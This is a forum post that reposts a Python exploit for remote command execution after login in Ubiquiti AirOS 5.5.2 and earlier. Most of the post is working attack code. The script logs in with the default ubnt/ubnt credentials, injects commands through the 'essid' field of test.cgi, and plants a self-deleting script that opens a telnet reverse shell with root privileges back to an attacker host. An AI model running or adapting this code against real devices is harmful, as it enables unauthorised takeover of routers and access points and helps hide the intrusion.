Jump to content
Praetorian503

Ubiquiti AirOS 5.5.2 Command Execution

Recommended Posts

Ubiquiti AirOS versions 5.5.2 and below suffer from a remote post-authentication root-level command execution vulnerability.

#!/usr/bin/python
#+--------------------------------------------------------------------------------------------------------------------------------+
# Exploit Title : Ubiquiti AirOS <= 5.5.2 Remote POST-Auth Root Command Execution
# Date : 12-28-2012
# Author : xistence (xistence<[AT]>0x90.nl)
# Software link : http://www.ubnt.com/eula/?BACK=/downloads/XM-v5.5.2.build14175.bin
# Vendor site : http://www.ubnt.com/
# Version : 5.5.2 and lower
# Tested on : PicoStation M2 (hardware)
#
# Vulnerability : The http://<IP>/test.cgi "essid" parameter is not sanitized for input which allows for execution of operating
# system commands. The parameter input field can be like this to create a file /tmp/test.txt:
# "LINKTEST & /bin/touch /tmp/test.txt #"
# Authentication to the web site is necessary to exploit this vulnerability.
#+--------------------------------------------------------------------------------------------------------------------------------+


import urllib, urllib2, cookielib, sys, random, mimetools, mimetypes, itertools, time


print ""
print "[*] Ubiquiti AirOS <= 5.5.2 Remote POST-Auth Root Command Execution - xistence (xistence<[at]>0x90.nl) - 2012-12-28"
print ""
if (len(sys.argv) != 4):
print "[*] Usage: " + sys.argv[0] + " <rhost> <lhost> <lport>"
print ""
exit(0)


rhost = sys.argv[1]
lhost = sys.argv[2]
lport = sys.argv[3]
webUser = "ubnt"
webPass = "ubnt"

# Create a random file with 8 characters
filename = ''
for i in random.sample('abcdefghijklmnopqrstuvwxyz1234567890',8):
filename+=i
filename +=".sh"

shellCmd = '& echo "mknod /tmp/backpipe p ; telnet ' + lhost + ' ' + lport + ' 0</tmp/backpipe | /bin/sh -C 1>/tmp/backpipe 2>/tmp/backpipe ; rm -rf /tmp/backpipe ; rm -rf /tmp/' + filename + '" > /tmp/' + filename + ' ; chmod +x /tmp/' + filename + ' ; /bin/sh /tmp/' + filename + ' #'



class MultiPartForm(object):
"""Accumulate the data to be used when posting a form."""

def __init__(self):
self.form_fields = []
self.files = []
self.boundary = mimetools.choose_boundary()
return

def get_content_type(self):
return 'multipart/form-data; boundary=%s' % self.boundary

def add_field(self, name, value):
"""Add a simple field to the form data."""
self.form_fields.append( ( name, value ) )
return

def __str__(self):
"""Return a string representing the form data, including attached files."""
# Build a list of lists, each containing "lines" of the
# request. Each part is separated by a boundary string.
# Once the list is built, return a string where each
# line is separated by '\r\n'.
parts = []
part_boundary = '--' + self.boundary

# Add the form fields
parts.extend(
[ part_boundary,
'Content-Disposition: form-data; name="%s"' % name,
'',
value,
]
for name, value in self.form_fields
)

# Flatten the list and add closing boundary marker,
# then return CR+LF separated data
flattened = list( itertools.chain( *parts) )
flattened.append( '--' + self.boundary + '--' )
flattened.append( '' )
return '\r\n'.join( flattened )



# Create the form with simple fields
form = MultiPartForm()
form.add_field( 'uri', '' )
form.add_field( 'username', webUser )
form.add_field( 'password', webPass )

form2 = MultiPartForm()
form2.add_field( 'essid', 'LINKTEST ' + shellCmd )
form2.add_field( 'channel', '2412' )
form2.add_field( 'rssithresh', '13' )
form2.add_field( 'file_url', '' )
form2.add_field( 'action', 'test' )

# Our Cookie Jar
cj = cookielib.CookieJar()
opener = urllib2.build_opener( urllib2.HTTPCookieProcessor( cj ) )

# Just open the default url to grab the cookies and put them in the jar
print "[+] Opening default page [http://%s] to store cookies" % rhost
resp = opener.open( "http://%s" %rhost )

# Create our multi-part body + headers login POST request
print "[+] Logging in with user [%s] and password [%s] at host [%s]" % ( webUser, webPass, rhost )
resp = urllib2.Request( "http://%s/login.cgi" % rhost )
body = str( form )
resp.add_header( 'Content-type', form.get_content_type() )
resp.add_header( 'Content-length', len( body ) )
resp.add_data( body )
request = opener.open( resp ).read()

# Create our multi-part body + headers command execution POST request
print "[+] Executing reverse shell commands [file = /tmp/" + filename + "], this might take up to a minute before a response is received in your netcat shell"
resp = urllib2.Request( "http://%s/test.cgi" % rhost )
body = str( form2 )
resp.add_header( 'Content-type', form2.get_content_type() )
resp.add_header( 'Content-length', len( body ) )
resp.add_data( body )
request = opener.open( resp ).read()


time.sleep(30)
print "[+] Done, check your netcat reverse shell on ip [%s] port [%s]" % ( lhost, lport )

Source: Packet Storm

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...